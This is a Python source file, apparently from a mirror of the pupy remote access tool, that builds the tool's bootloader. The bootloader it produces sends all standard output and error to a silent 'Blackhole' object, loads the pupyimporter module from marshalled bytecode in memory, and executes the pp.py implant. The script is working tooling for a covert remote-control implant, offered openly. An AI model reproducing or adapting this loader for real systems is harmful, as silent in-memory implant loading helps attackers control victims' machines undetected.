mirror of https://github.com/n1nj4sec/pupy.git
58 lines
1.5 KiB
Python
58 lines
1.5 KiB
Python
#!/usr/bin/env python
|
|
# -*- coding: utf-8 -*-
|
|
import sys
|
|
import marshal
|
|
import struct
|
|
import base64
|
|
import os.path
|
|
|
|
|
|
remove_stdout="""
|
|
import sys
|
|
class Blackhole(object):
|
|
softspace = 0
|
|
def read(self):
|
|
pass
|
|
def write(self, text):
|
|
pass
|
|
def flush(self):
|
|
pass
|
|
sys.stdout = Blackhole()
|
|
sys.stderr = Blackhole()
|
|
del Blackhole
|
|
"""
|
|
|
|
if len(sys.argv)==2 and sys.argv[1].strip().lower()=="debug":
|
|
remove_stdout="print 'DEBUG activated'\n"
|
|
|
|
def get_load_module_code(code, modulename):
|
|
loader="""
|
|
import marshal, imp, sys
|
|
fullname={}
|
|
mod = imp.new_module(fullname)
|
|
mod.__file__ = "<bootloader>\\%s" % fullname
|
|
exec marshal.loads({}) in mod.__dict__
|
|
sys.modules[fullname]=mod
|
|
""".format(repr(modulename),repr(code))
|
|
return loader
|
|
|
|
|
|
if __name__=="__main__":
|
|
code_bytes=[]
|
|
code=""
|
|
code_bytes.append(compile(remove_stdout, "<string>", "exec"))
|
|
code_bytes.append(compile("import sys; sys.argv = [];", "<string>", "exec"))
|
|
with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f:
|
|
code=f.read()
|
|
|
|
code=marshal.dumps(compile(code, '<string>', 'exec'))
|
|
|
|
code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec"))
|
|
code_bytes.append(compile("import pupyimporter;pupyimporter.install();\n", "<string>", "exec"))
|
|
with open(os.path.join("..",'..','pupy',"pp.py")) as f:
|
|
code=f.read()
|
|
code_bytes.append(compile(code+"\n", "<string>", "exec"))
|
|
code_bytes=marshal.dumps(code_bytes)
|
|
with open(os.path.join("resources","bootloader.pyc"),'wb') as w:
|
|
w.write(code_bytes)
|